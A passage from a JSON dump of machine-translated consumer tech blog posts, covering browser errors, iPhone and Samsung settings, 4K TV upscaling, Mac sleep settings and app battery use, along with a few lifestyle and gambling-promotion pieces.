later.\nBecause the problem is not caused by you, please visit that site regularly to know when the error is fixed.\nSome similar errors Some other browser errors also originated from the client side and therefore are more or less related to 400 Bad Request errors, such as 401 Unauthorized, 403 Forbidden, 404 Not Found and 408 Request Timeout.\nThe server-side HTTP status code also exists and always starts with number 5 instead of 4. You can find all of these errors in Quantrimang 's HTTP status code list .\nRefer to some of the following articles:\nWhen the network speed is slow, turn this feature off to browse the Web on browsers faster The trick is to worry that the Chrome browser will \"consume\" your laptop battery Summary of how to fix errors without downloading files, not accessing YouTube and Not Responding errors on Chrome browser Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjG1naWWSlrFuvsSqrJ6rpGKys77Oq2Sipl2YtbO7zJ5kn6GimrOwxIyipa2doqOytXnEsaelp6Kav26tzZ1knpyXmnqjvs6wqp6qow%3D%3D\n","link":"/post/fix-400-bad-request-error-in-chrome-firefox-internet-explorer-and-edge-browsers/","section":"post","tags":null,"title":"Fix 400 Bad Request error in Chrome, Firefox, Internet Explorer and Edge browsers"},{"body":"The GAU-8 Avenger weighs 281Kg, is more than 6m long, firing 30mm bullets, and has 7 barrels, is considered the world's largest machine gun. It is equipped for fighters and heavy fighters.\nOf course, with such a \"huge\" gun, the ammunition to load it is also \"terrible\". Reloading for the GAU-8 Avenger is not as simple as its ammunition is so large that it requires a transport truck and the support of several air force soldiers.\n    The short video below will tell you how this process works:\nThe battle between flamethrowers and \"freezing guns\", which guns will win? What happens if you shoot in space? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSflrFuss6rZK2glWLEsL7LnapmpJGntKa%2F02aerqY%3D\n","link":"/post/how-to-load-for-the-world-s-largest-gun/","section":"post","tags":null,"title":"How to 'load' for the world's largest gun"},{"body":"Whilst this is good news for bingo gamers, who have a wider variety than ever before at their disposal, it also whips up fresh issues around how to choose the best bingo sites for beginners.\nThis can be said because such a huge range of sites makes it daunting for newbies to try and, as a result, the function of online bingo comparison sites is more important than ever. Sites such as www.bingosites.co.uk provide quality information on what different bingo sites offer to players and, with the boom in new bingo sites, it is important to head to a high-end comparison site to steer clear of unsafe sites.\nIn this article, we will take a peek at the various elements of fresh bingo sites and how to choose the best bingo sites for beginners.\n  Bonuses and promotions So, one of the most important things to consider when you begin to play at a fresh bingo site is that the vast majority of new bingo spots in the modern age – including the growing sector of mobile bingo sites – provide members with a range of unique, special offers and promotions to sign up for.\nNo matter if this is a massive welcome bonus, often coming in the form of a deposit match, or another style of bonus, there are simply so many offers out there. A deposit match is when a fraction of your first deposit, often 100%, 200% or 300%, is paid to you by the bingo site when you place an initial deposit.\nThis bonus may even be of the no deposit variety, where fresh bingo sites give players fresh cash before they deposit anything.\nNew bonuses crop up often in bingo site offers, giving gamers an added bonus as well as fresh deposits. Throw in elements like free spins, cashback and unique prizes, and newcomers have plenty of incentive to register at the best online bingo sites!\nFinally, it is important to add that VIP schemes at new online bingo sites are another exciting element. These offer loyal players unique perks and promotions available only to them. This can arrive as cashback, free spins and a range of other enticing bingo site bonus features only for VIPs!\nVariety of games As online bingo grows, it is fairly normal for new bingo sites to offer 90 ball and 75 ball bingo games, but you can also find 80 ball, 50 ball and 30 ball bingo offerings at the best beginner bingo sites.\nAmong the most important things to consider when selecting a fresh bingo site is the variety of bingo provided. Indeed, it is fairly possible that you may desire to mix up the bingo fun the longer you stay at a single online bingo site.\nDon't forget, new sites often provide other games as well as bingo. Certainly, the majority of bingo sites offer members a spot to enjoy their favourite games like top online games such as poker and other table games in addition to slots, jackpot games and plenty more. Be certain to look into this prior to registering for a beginners bingo site.\nDoes it look good? A massively important element of any online bingo site is the way that they look. Think about it, you will be staying at this site for an hour after an hour of fun at this online bingo site and as a result, you will want it to be as exciting as you can make it!\nTherefore, make sure that you seriously consider the way the site looks – think colours, graphics in the games and unique characters that feature across the site – all of this makes a difference and you should always think before signing up – is this the best possible bingo site for me, as a beginner?\nSafety should be a concern Today, safety is not as much of a concern with online bingo sites as in the past. With that said, you should still be very careful when finding a new site. What's more, modern bingo sites are legally bound to use random number generators in 2021, which means you're bound to get a fair crack of the whip as a beginner!\nBest Bingo Sites Bingo Sites ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYytn55lkprAtXnBoqWgp12otrWx0madqKpdl7Kotc2nnKur\n","link":"/post/how-to-choose-the-best-bingo-sites-for-beginners/","section":"post","tags":null,"title":"How To Choose The Best Bingo Sites For Beginners"},{"body":"Family Sharing is a great feature Apple provides for family groups. It allows you to share storage space, purchase applications, register Apple Music, etc. with other members (including child management accounts).\nIn particular, Family Sharing also integrates free photo sharing on iCloud, providing your family an album where members can share photos and videos. Each family member will have their own iCloud Photo or Photo Stream library, and Family album to store photos, photos and general videos.\nNote: You must turn on iCloud Photo Sharing on your device. You do not have to use iCloud Photo Library to enable sharing if you like another synchronization method.\nHow to view Family album on iPhone, iPad\nOpen Photos app on iPhone or iPad. Click the Shared tab. Select album Family . (If the album is not found, click the Sharing arrow in the upper left corner to return to the album view).   How to view album Family on Mac\nOpen Photos app on Mac. In the Shared section in the sidebar, click Shared Albums . Select album Family .   How to add new photos or videos to Family album on iPhone, iPad\nAccess to Family album . Click the plus sign . Select the photo / video you want to add, then click Done in the upper right corner. Enter a description if you want, then click Post in the pop-up window.   How to add new photos or videos to Family album on Mac\nOpen Photos app on Mac. Select the photo / video you want to share with your family (hold down Shift and click or Command-click to select multiple photos / videos). Click the share button at the top right of the window. It has a box with an arrow pointing up. Click iCloud Photo Sharing . Click Family . After that, the image will be synchronized with the device of your family members.   How to delete photos or videos from Family albums on iPhone, iPad\nAccess to Family album . Click Select in the upper right corner. Click on the photo or video you want to delete.   Click the Trash icon in the bottom right corner. Click Delete [X] Photos to confirm.   How to delete photos or videos from Family album on Mac\nOpen the Family album. Select the image you want to delete. Press the Delete key on the keyboard. Click Delete to confirm. See more:\nHow to create iPhone ringtones with iTunes How to take Portrait Mode selfie photos on iPhone X Instructions for converting videos on iPhone with 3uTools ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmec%2Bhpq2no2K8r3nIqZ%2BoppVixKrAx2admqWZocZuv8eaqaKmlw%3D%3D\n","link":"/post/how-to-share-photos-on-iphone-with-family-sharing/","section":"post","tags":null,"title":"How to share photos on iPhone with Family Sharing"},{"body":"On the Galaxy S22 series, Samsung has focused heavily on promoting the screen's brightness through a feature called Super Brightness. So what is this feature and how to activate it? Let's find out right here.\nEnable Super Brightness on Galaxy S22 Before you start working, there is one important thing you need to note, that is, Super Brightness mode will cause the screen to consume more power, which in turn leads to significantly affected battery life. In return, you get a sharper and more vivid display panel, especially in strong ambient lighting conditions.\nIf you're okay with that, follow the steps below to enable Super Brightness.\nStep 1: On the Galaxy S22, tap the gear icon on the home screen to open the Settings menu .\n  Step 2: In the Settings menu that opens, click on Display .\n  Step 3: Next, you have to turn off Adaptive brightness mode if it is enabled.\nStep 4: After turning off Adaptive brightness , you will get another switch just below it called Extra brightness . Turn this switch to on and the job is done.\n  Super Brightness mode has now been successfully activated on your Galaxy S22. After activating this feature, you will no longer be able to use adaptive brightness and the battery consumption will also increase. But in return, you get a much brighter display.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mqq6olad6o77IoJ%2BtZaOYv6axzWakqJyVYsC2vMSrZJuqmZy1tbrErKpmp55iwKK50q6loGWXlrmixNhmqmtqXaW1sLrErA%3D%3D\n","link":"/post/how-to-turn-on-super-bright-screen-mode-super-brightness-on-samsung-galaxy-s22-phones/","section":"post","tags":null,"title":"How to turn on super bright screen mode (Super Brightness) on Samsung Galaxy S22 phones"},{"body":"However, not many people know that iOS also offers options to help customize screenshots on iPhone, as well as highlight certain content in photos. Let's find out how to proceed right below.\nStep 1: The first thing you have to do is take a screenshot on your iPhone.\nStep 2: Tap the floating screenshot at the bottom left of the screen.\nStep 3: Click the (+) button and then select the Magnifier option.\n   Step 4: Hold down the magnifying glass and drag it to the inner position of the screenshot you want to focus on, such as the Photos app in the screenshot below.\n  Step 5: Now tap the (+) button again and choose Opacity.\nStep 6: You will see a slider at the bottom. Just drag it to the right, you will see that the entire screenshot has been blurred except for the area you have set as focus as stated above.\n  Step 7: Just tap Done to save the screenshot.\nIt's all simply that. You now have a unique custom screenshot, with a special area in the image highlighted and enlarged. You can share or archive this photo as usual.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZrKfpLputc1mpqdlkWLAsbHCop2im12hvKSt06Kmp2WZo3qiedKcqZ6dnqi1sMCMqKVmoaCdvK%2Bx\n","link":"/post/how-to-zoom-in-on-a-specific-location-in-a-screenshot-on-iphone/","section":"post","tags":null,"title":"How to zoom in on a specific location in a screenshot on iPhone"},{"body":"Virtual Assistant Google Assistant has officially supported Vietnamese for users to chat and . \"errands\", you can open tasks by ordering Google virtual assistant in Vietnamese on devices Android.\nThus, you will not have to manipulate much on the screen to search, install or use other tasks on your smartphone. However, installing Google virtual assistant on iOS devices is slightly different. The following guide will help you install and use Google virtual assistant in Vietnamese on iPhone, iPad.\n8 How to fix Cortana inactive in Windows 18 tips and tricks to make the most of Cortana How to turn off Siri on iPhone, iPad Step 1: To download the Google Assistant assistant for iPhone you just need to go to the App Store. Then type the keyword to search for Google Assistant and get the application. Next, log your Google account into it.\n   Next is some information that requires access to some features and works on Google virtual assistant devices. If you enable, Google Assistant will help you more about the features that you allow Google virtual assistants to access on your device.\n.   Finally click Continue in the Service and your privacy . Go to the main interface, click on the Micro icon below and allow Google virtual assistant to access your Micro.\nBelow is a notification to unlock other Google Virtual Assistant features , click Start if you want to allow Google Assistant to support more features on your device.\n   Now you can chat comfortably with Google virtual assistants, or wrongly Google Assistant opens applications, installs or performs other simple tasks on your device. Each time you issue a command, click on the Micro icon (1) or type the command with the keyboard (2).\n  With the instructions to install the Google Assistant assistant on iOS above, you can own yourself a smart AI \"assistant\". As mentioned above, the more you allow Google virtual assistant to access many applications, the more misleading you are that Google Assistant on iOS performs many tasks and more settings. If not allowed, there are questions or commands that the Google iOS assistant will not be able to answer or answer.\nVideo tutorial to install virtual assistant Google Assistant Vietnamese on iOS Note: Those who use iOS devices but have not found Google Assistant on the App Store can follow the instructions under this video.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZekvKi4xGatop2ko66usdKeZK%2BhoqnCoriMmqqsoaOprq%2FAjKilZqGgnbyvsQ%3D%3D\n","link":"/post/instructions-for-installing-google-vietnamese-virtual-assistant-on-iphone/","section":"post","tags":null,"title":"Instructions for installing Google Vietnamese virtual assistant on iPhone"},{"body":"Microwave is a kitchen appliance familiar to many families. Along with the development of science and technology, microwave ovens are becoming more modern and equipped with more intelligent features, such as baking. So does the microwave grill well? Should buy or not? Find out through the following sharing from TipsMake.com.\ncontent What is a microwave oven with grill? Whether to buy or not? What kind of grill does a microwave oven have? What is a microwave oven with grill? Whether to buy or not? Unlike conventional microwaves, microwave ovens can cook food in two ways:\nBy Viba Wave: The microwave wave emitted from the megatron power supply will follow the pipeline into the furnace chamber. When the walls are met, microwave waves are reflected back and forth. Water molecules in food will absorb microwaves, causing food to heat up and ripen from the inside. By heat (baking function) : The heat bar in the microwave is responsible for converting electricity into heat, then heating and baking food. It can be seen that a microwave oven is a 2-in-1 device. Instead of having to buy a microwave oven and buy a regular oven, you only need one microwave oven and grill in the house. Buying this device will both save you money and save space.\n  Microwave with grill - 2 in 1 device\nOven with grill is really convenient. However, to know if you should buy a microwave with a grill, you should consider more about your needs, financial conditions, and available equipment. For example, your family does not have both a microwave oven and an oven, so buy a microwave with a grill to save costs, and if your family already has an oven, you should buy a microwave oven, .\nWhat kind of grill does a microwave oven have? After 'weighing and measuring' many of you still decide to choose a microwave oven for baking because of its great benefits. So what kind of grill does a microwave oven have? Please refer to our following suggestions:\n1. Electronic microwave oven with grill Panasonic NN-GT35HMUE - 23 liters\nPanasonic NN-GT35HMUE is one of the most popular microwave ovens available today. This device can perform many different functions such as defrosting, reheating, cooking food, baking, . The chamber is made of glazed steel so it is very durable and does not rust. On the right of the furnace compartment, there are led lights to help users observe food during cooking. In addition, Panasonic NN-GT35HMUE is also equipped with an electronic Vietnamese control panel, child lock function and cooking timer mode. Reference price: VND 2,849,000 .\nTechnical specifications\nCapacity: 23 liters Capacity: 800 W (cooking capacity) - 1000W (grill capacity) Voltage source: 220V / 50Hz   Electronic microwave oven with grill Panasonic NN-GT35HMUE - 23 liters\n2. Sharp R G302VN-S mechanical microwave oven with 23 liters\nSharp R G302VN-S owns a simple but equally luxurious and modern design. The mechanical controls and the Vietnamese control panel of the microwave are scientifically arranged, easy to use. The chamber is made of enameled stainless steel, both durable and easy to clean. Sharp R G302VN-S 23 can perform tasks such as warming, defrosting, baking, barbecuing, etc. The reference price: VND 1,689,000 .\nTechnical specifications\nCapacity: 23 liters Capacity: 800 - 1000W Voltage: 220 - 240V / 60Hz   Sharp R G302VN-S mechanical microwave oven with 23 liters\n3. Grilled mechanical microwave oven Electrolux EMM2022GW (20 liters)\nDesigned in a simple, elegant style, Electrolux EMM2022GW quickly won the hearts of many Vietnamese families. The chamber of the furnace is glazed with enamel, the inside has convenient lighting to help users easily observe the food inside. Electrolux EMM2022GW helps women to make food faster and richer with the main functions like cooking, reheating, defrosting, baking or combination cooking. On the left of the microwave is equipped with a control panel and 2 easy-to-operate mechanical knobs. Reference price: VND 1,490,000 .\nTechnical specifications\nCapacity: 20 liters Capacity: 700 - 1000W Voltage: 220V / 50Hz   Electrolux microwave oven with Electrolux EMM2022GW (20 liters)\nA microwave oven is sure to be worth the wait in the kitchen. Visit META.vn for advice and order various types of microwave oven with quality baking and cheap price.\n\u0026gt;\u0026gt;\u0026gt; More references:\nWhich microwave oven has the best sample? How to choose the right microwave oven according to your needs, standard without correction ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiumq6VYsSqwMdmnquhnKF6tLTOrqOdZamkwm6u1LJkoqw%3D\n","link":"/post/microwave-with-grill-should-you-buy-it/","section":"post","tags":null,"title":"Microwave with grill - Should you buy it?"},{"body":"Even though Windows 10 users often turn off their computers after each use, Mac users hardly have this habit. So should you turn off your Mac after each use, in this article TipsMake will learn with you.\nYou shouldn't worry about how much power your iMac or MacBook uses as they go to a minimum when the screen is off and the Mac is in sleep mode. Of course, it still uses a bit of a different resource.\nIf you want to completely shut down your computer, click the Apple icon in the left corner of the screen and choose Shut Down from the menu.\n  Many people think that sudden heating or cooling of components in a Mac can hurt, but the finished Mac is not as fragile as it looks.\nIf you don't work on your Mac for a short time, you should leave it on, but overnight, set it to sleep or turn it off completely.\nBetter sleep with your Mac than shutting it down? When it goes to sleep, a Mac will greatly reduce its energy usage and can easily 'wake up' more quickly than turning it on when it is completely turned off. In fact, new Macs running the M1 chip almost immediately wake up when they wake up, making this even more appealing choice.\nSo if you don't use your Mac for a few hours or overnight, putting it to sleep is the best solution. If it takes longer, you should turn off the computer, the reason will be explained in detail below.\nTo put your Mac in sleep mode, click the Apple logo in the left corner of the screen and choose Sleep from the menu.\n  You can pre-schedule your Mac to sleep automatically after a set amount of time, useful if you forget.\nAnother extremely easy way is that when not in use, just fold the device down and the Mac will automatically go to sleep (in case you use a MacBook).\nTo set your Mac to sleep automatically, open System Preferences and select Energy Saver . You'll see two options at the top of the screen ( Battery and Power Adapter ) or just the Power Adapter on the iMac and Mac mini since they don't have a battery.\nThe slider at the top of the window will tell you how long your Mac needs to be in a stationary state before the screen turns off. Choose the right time, 2-3 minutes is the ideal time.\nShould check all the options below.\u0026nbsp;\n  Does not shutting down harm the Mac? Over time, processes and applications can clog RAM and cause a slight decrease in performance, especially on older machines. You can fix this by shutting down and reopening the app, disabling a few tabs in your open browser, or restarting your Mac.\nmacOS does a great job at managing memory, but sometimes the best way for your device to completely clean the system is to shut it down and reboot. This process will clear your RAM and allow some congested processes to run again.\nThere will also be some updates to your computer when restarting, so be mindful of shutdowns a bit more if you don't have this habit.\nHow to schedule Mac to shutdown or go to sleep mode In addition to the display or memory-based methods above, you can also set how long it takes your Mac to sleep or shut it down and reboot.\nOpen System Preferences\u0026gt; Energy Saver and click on the Schedule button in the lower right corner.\n  You can choose in the Start or Wake box to schedule the time your Mac will start working (during a day, weekend, daily or special date and time).\n  Select Sleep below to open up other options including Restart and Shut Down . Now, set the appropriate time and click OK .\n  Note that having an application open will prevent the Mac from shutting down because the system does not want to accidentally lose all important unsaved data.\nFor the auto shutdown feature to work, you need to close all apps when you're done using it.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdqcKzuoyonZ9lna56rq3CZpifrJWneqatwqFkrquV\n","link":"/post/should-i-turn-off-my-mac-after-each-use/","section":"post","tags":null,"title":"Should I turn off my Mac after each use?"},{"body":"Thanks to the unique, harmonious combination of body and simple movements, artisans have created unique animated sculptures that keep viewers from taking their eyes off them.\nTop 20 most impressive art sculptures in the world 15 sculptures are so impressive that you don't believe they exist The movement of sculptures can be based on electric motors, wind power, springs or conventional mechanical structures. In order to create a dynamic sculpture, artisans must combine creativity and logic with both art and technology at a specialized level.\n  1. Colibri works simulating a hard-working bird of artisan Derek Hugger.\n  2. Roundabout created by artist Clayton Boyer, simple but enchanting.\n  3. The unique creation of Bruce Shapiro bears the name Garden in the sand.\n  4. The unique fan runs on the wind.\n  5. Merlot's work by Derek Hugger.When looking at this sculpture, many people feel like watching a kaleidoscope.\n  6. Anthony Howe has created a fantasy movement that makes viewers look back and forth many times.\n  7. Did you know, this interesting sculpture was made from ice cream sticks.\n  8. The connection between the moving statue and Japanese origami folding art creates an unexpected perfection in the works of theartists Jo Nakashima.\n  9. The wooden rod created by John Edmark confused the viewer.\n  10. Artisan Anthony Howe has a perfect combination of windmills and glass walls to create a great work.\n  11. The work simulates the movement of water droplets when touching the surface of the lake made of wood that many people cannot take their eyes off.\n  12. Shylight works depicting blooms of lights on display at the Rijksmuseum in Amsterdam, the Netherlands.\n  13. Bob Potts Denizen's work depicts beetles with moving wings.\n  14. Artist Yasutoki Kariya created the light movement version describing Edison's \"cradle\".\n  15. Wood fireflies with complex leg and wing motions created by Nemo Gould.\nSee also: Hold your breath watching Kinetic Rain, a sculptural sculpture of 1-0-2 at Singapore's airport\nncG1vNJzZmismaXArq3KnmWcp51kwLWtzZ2gp59dnrtustGopa1ln5t6coGMn5ism5mjrrW1zaBkrJulob21wdGeqmasn2K6orfEZqCtZaOpv6K6xp4%3D\n","link":"/post/standing-in-front-of-15-fascinating-sculptures-to-make-it-strange/","section":"post","tags":null,"title":"Standing in front of 15 fascinating sculptures to make it strange"},{"body":"\"I don't exist in this world to live up to your expectations. And you don't appear in this life to live with my expectations\" - Bruce Lee.\nThe biggest disappointments in our lives are often the results of expectations that are misplaced. This is especially true when it comes to relationships and interactions between one person and another.\nControlling your expectations with people will significantly reduce unnecessary frustrations and suffering, both in your life and in your life, and help you focus on what's really important.\nThis means, it's time to .\n1. Stop expecting others to agree with you You deserve to be happy. You deserve to live the life you desire. Don't let the opinions of those around you forget that. You are not born in this world to live up to anyone's expectations, and no one in the world has to live up to your expectations. In fact, the more you accept your own decisions in life, the less you will need approval from others.\n  You must dare to be yourself, follow your own intuition, though you may feel frightening and strange. Don't compare yourself to anyone. Don't be discouraged by their progress or success. Follow the path you want and fulfill the goals of your life. The ultimate success is how you have a happy life as you expect.\nThe letter the father sent his daughter and the life lesson \"No one owes you anything\" 2. Stop expecting others to respect you as you respect yourself True strength lies in the soul and spirit, not muscle. It is all sincerity and faith in you and ready to act according to what your mind tells. Decide this moment so that you never have to ask anyone for love, respect and concern that should be presented.\nToday, look in the mirror and say, \"I love you and from now on, I will act like that.\" The important thing is to treat people well, but more importantly, treat yourself well. When you practice and respect yourself, you will give yourself the opportunity to be happy. When you are happy, you will become a better friend, a better family member and a better version of yourself.\n3. Stop expecting (and needing) others to like you You may feel unnecessary and not worthy of a person but you are invaluable to another person. Never forget your value. Spend time with people who value you. No matter how good you are with everyone, there's always another person criticizing you. Smile, ignore them and continue what you are doing.\nIn a chaotic world if you try to make you become like others, the hardest battle you face is the fight with yourself. And when you resist, no one likes you. Sometimes, they call your name because you are \"different\". But that's perfectly fine. Things that make you different from other things will make you and those who know will love you for that.\n  4. Stop waiting for others to please your opinion of who they are Loving and respecting others means that you let them live with them. When you stop hoping for people in some way, you will start to appreciate them.\nPay attention and respect people for who they are and not who you want them to be. We don't know that people like us still believe that we know half of them and really understand someone is part of what makes them great.Everyone is beautiful and special , just that we need to be patient to look at those beauties. The more you try to understand someone, the more you can see through their looks and see the beauty in their real people.\n5. Stop expecting them to know what you are thinking Not everyone has the ability to read other people's thoughts. They never know how you feel unless you tell them. Your superior? Yes, the boss didn't know you were hoping to get promoted because you never told them. Is that guy you have never been talking to because you feel so embarrassed? You know the reason is not yet simple, because both people have never said the desire to meet each other and no one gave each other a time to chat.\nIn life, you must connect with others often. And often, you have to be proactive in speaking first. You have to tell people what you think if you want them to understand you. It's that simple.\n6. Stop expecting them to suddenly change If someone has a habit that you often notice, you hope they will stop that habit over time, maybe this is very unlikely. If you really need them to change something, be sincere and say all your thoughts so they know how you feel and what you need from them.\nHowever, throughout your life, you can hardly change people and you should not try. Or you accept people or you choose to live without them. This may sound harsh but not so. When you try to change a person, they are usually the same, but when you don't try to change - when you support them and allow them to live freely with what belongs to them - they will gradually change change in a good way. Because what really changes is how you look at them.\n  7. Stop expecting them to be happy Think of others more than necessary, all the people you meet face a certain struggle, just like you. Every smile or sign of strength hides an inner struggle, as complex and unusual as it is in you.\nRemember that light is not meant to ignore darkness. We are judged by our ability to overcome adversity and insecurity, not escape. Supporting, sharing and contributing to others is one of the best rewards. This happens naturally if we allow it, because we all share the same dreams, needs and struggles. Once we accept this, then, the world will be the place where each person looks into each other's eyes and says: \"I am stuck and having trouble now\". They nodded, saying, \"Me too\" and that's fine. Because not \"okay\" all the time is really okay.\nPeople rarely behave exactly the way you want. Hope for the best but expect less. And remember, your level of happiness is directly proportional to the thoughts and ways you choose to think about everything. Even if a situation or relationship doesn't work as you want it is still worth it if it makes you feel something new and if it teaches you a valuable lesson.\nncG1vNJzZmismaXArq3KnmWcp51kwLW7z2acsaiVmMGqusZmq6Gdo5p6eHnToaCnn6Nitq95zq2fnqqj\n","link":"/post/stop-expecting-these-7-things-in-others/","section":"post","tags":null,"title":"Stop expecting these 7 things in others"},{"body":"When 4K TVs replace HD TVs in your home, manufacturers reveal some interesting terms like \"Ultra HD upscaling\". But upscale is not a unique feature, it only allows 4K TVs to work with lower resolution video formats like 1080p and 720p.\nHow to use 4K TV as a computer screen The best browser for Android TV 5 ways to help extend TV life All TVs can be upscale Upscale makes low-resolution content fill up the entire TV screen. Without it, a low-resolution video would take less than half the screen space. This is a typical feature on all TVs. Even with 1080p TVs available, they can upscale 720p content and display it in full screen mode on a 1080p screen.\nUpscale UHD will make 4K TV work like any other TV. It can display lower resolution content on the entire 4K screen.\nUpscale 1080p content on 4K screens looks better when streaming 1080p content on a normal 1080p screen. However, upscale is not \"magic\", you cannot get sharp images like true 4K content.\nCompare physical resolution and optical resolution Before going into more detail about upscale, we need to understand the concept of image resolution. High resolution images or videos will look better than lower resolution images or videos.\nHowever, we often forget some important factors mainly the difference between physical resolution and optical resolution. These elements work together to create a good image and they are the basis for understanding upscale.\nPhysical resolution : On a TV specification table, the physical resolution is simply called resolution. This is the number of pixels on the screen. 4K TVs have more pixels than 1080p TVs and 4K images are four times the size of 1080p images. All 4K screens, regardless of their size, contain the same number of pixels. Although high-resolution TVs can use extra pixels to provide more details, they don't always work. Optical Resolution : This is why disposable photo cameras look better than digital camera photos. When a photo looks sharp and has a wide range of dynamic range, it will have a high optical resolution. Sometimes the TV \"squandered\" its high physical resolution by displaying videos with low optical resolution. This makes the image blurry and the contrast is unknown. Pixel density : The number of pixels per inch on the screen. All 4K monitors contain the same amount of pixels, but on smaller 4K screens, the pixels are closer together, so they have a higher density. For example, an iPhone 4K has a higher pixel density than a 70-inch 4K TV. Screen size is not the same as physical resolution and pixel density. The pixel density of the screen does not determine its physical resolution. Now that we've all seen the difference between physical and optical resolution, it's time to understand the process of performing upscale TVs.\nUpscale makes the image bigger Every TV contains a bunch of interpolation algorithms, which are used to upscale low-resolution images. These algorithms add pixels to an image to increase their resolution. But why do you need to increase the image resolution?\n  One thing to remember is that the physical resolution is determined by the number of pixels on the screen. It is not related to the actual size of the TV. A 1080p TV screen consists of 2,073,600 pixels while 4K screens have 8,294,400 pixels. If you display 1080p video on a 4K TV without doing upscale, the video will only take a quarter of the screen.\nFor 1080p images to fit in 4K screens, it needs to reach 6 million pixels through the upscale process (at this time, it will become a 4K image). However, upscale depends on the process called interpolation.\nUpscale reduces optical resolution There are several ways to interpolate an image. The most basic way is called nearest Neighbor Interpolation. To perform this process, the algorithm will add an empty pixel grid to the image and then guess the color value of each of those blank pixels by looking at the four adjacent pixels.\nFor example, an empty pixel surrounded by white pixels will turn white, while an empty pixel is surrounded by white and blue pixels that will turn into pale green. This is a simple process but leaves a lot of fuzzy and rugged digital traces in the image. In a more understandable way, the interpolated image has poor optical resolution.\n  Left: The image has not been edited. Right: The image after using the interpolation method of the nearest pixel.\nCompare the two images above: one has not been edited on the left and one on the right is the victim of the interpolation of the nearest pixel. The image on the right looks unclear although it has the same physical resolution as the left. This happens when TV 4K uses the interpolation method of the nearest pixel to upscale the image.\nMany people will wonder why their 4K TV does not happen this phenomenon? Yes, the answer is because 4K TV uses not only this method, but it also incorporates other interpolation methods to upscale images.\nUpscale solves the optical resolution problem The nearest pixel interpolation method is a powerful method to increase image resolution without taking into account optical resolution. That's why TVs use two other interpolation modes along with the nearest pixel interpolation. These are block interpolation (bicubic interpolation) and bilinear interpolation.\n  Left: An example of a linear linear interpolation. Right: An example of a blockwise interpolation.\nWith the blockwise interpolation method, each pixel added to the image will look at the 16 adjacent pixels to get the color. This makes the image look softer. On the other hand, linear linear interpolation only looks at the two nearest pixels and produces a sharp image. By combining these methods and applying a number of filters for contrast and color modes, your TV can produce images that do not degrade optical quality or are not significant.\nHowever, even using appropriate interpolation, some videos can add 'ghosts' after being upscale especially if your low-cost TV crashes when upscale. Excessive details also become clearer when super-low quality images (under 720p) are upscale to 4K resolution or extremely large upscale images on TV with low pixel density.\nAlthough TVs provide upscale functionality, the use of different algorithms results in different image quality.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWlpcCkrcueZK2uXZa7pXnHqK5mnJ%2BawG6102auqKqb\n","link":"/post/what-is-upscale-tv-and-how-does-it-work/","section":"post","tags":null,"title":"What is Upscale TV? And how does it work?"},{"body":"Through Battery Stats Plus measurement tool, Zalo consumes 16% of battery power within 1 hour of continuous use and is the least battery-consuming application.\nAlong with the strong development of smartphones and tablets is the birth of OTT - Applications that can provide calling and texting features on mobile devices using Internet connection. Similar to other applications, the criteria for evaluating a good application are not only in the feature but also have to optimize the energy saving ability to provide long-term use for users.\n  Typically, OTT applications will be pre-set by developers to run in the background with the device when there is a network connection so that customers can update their status and interact continuously without interruption. However, the reverse side is consuming a certain amount of power for ' pushing ' data continuously to stay connected. For this reason, applications with different manufacturers will have a different consumption span.\nA small examination among popular OTTs now includes Viber , Kakao Talk , Zalo , Line , Skype and Facebook Messenger via Battery Stats Plus measurement tool on Android 4.1.1 operating system, using HTC smartphone One S shows that the most battery-consuming application is Kakao Talk and Facebook Messenger with 22% of battery within 1 hour of continuous use both calling and texting. Other OTT applications including Viber, Line or Skype all have average consumption in the range of 18% - 20% . On the other hand, Zalo makes an impression when it finishes with only 16% of the battery consumption on the test set.\nConsidering only in Vietnam market with the obvious competition of OTT, Zalo is an application that can support rich in terms of features and battery saving ability. The current version 1.0.8 of Zalo seems to have improved better than the app's 'battery life' compared to the original time. It also showed the outstanding effort of VNG manufacturers to provide users with a valuable Vietnamese application in all aspects from use to energy saving.\n  At the Barcamp event taking place in Ho Chi Minh City on July 7 last, Zalo representative shared that at the time of the launch, Zalo is constantly being threatened by customers to ' remove ' this application immediately . Get out of your mobile phone for ' battery drain ' reasons. That pressure forced those who made Zalo to rush to find an urgent solution for energy saving problems. Up to now, the power consumption level of Zalo has been reduced by 4 times compared to the first time, according to the results of Agilent 34401A Multimeter - One of the best-selling electric meters in the world today.\nIn general, OTT applications can be good choices. Regardless, the battery consumption level depends on many other objective factors such as ROM version, temperature, data transfer rate as well as the processing ability of the system, but the above numbers are also part Which reflects the actual consumption capacity of OTT applications but Zalo is probably the reasonable choice for Vietnam's telecommunications and climate conditions.\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkqKykYsCmvtWimp5lo5bDpr%2BMrZ%2BeZZ2kwLV5wZqrrZ2irg%3D%3D\n","link":"/post/which-ott-service-saves-the-most-battery/","section":"post","tags":null,"title":"Which OTT service saves the most battery?"},{"body":"Smart phones have become an indispensable item in modern life. For most users, the use of mobile phones is quite easy. However, for the elderly, the elderly, smartphones are still too difficult to understand and use with them. Taking this into account, developers have launched phones designed specifically for these subjects. In addition, you can also customize the look and feel of your phone with apps called Launcher.\nLauncher for Android helps to change the whole look of Android devices, making them easier to use. Here is the Launcher designed for the elderly.\nGrand Launcher\n  Grand Launcher has no epic IU configuration, no impressive design. It prioritizes the most important tools for users such as phones, SMS, photos and flashlights.\nEverything on the phone shows on the big, clear icons, icons, letters, . Red notification icons pop up on a blue background indicating missed calls or new messages. The virtual keyboard displays letters in alphabetical order. You can also customize the settings to change to a familiar QWERTY.\nApplication costs 97,000 VND.\nNecta Launcher\nNecta Launcher is designed exclusively for the elderly. The application changes everything on the Android interface with large, easy-to-see icons. Applications on the main screen are clearly labeled with large fonts. Necta also simplifies Android system installation and extends the call keypad.\nIn addition, Necta also has the function to call emergency contacts and the function to send location to designated contacts via 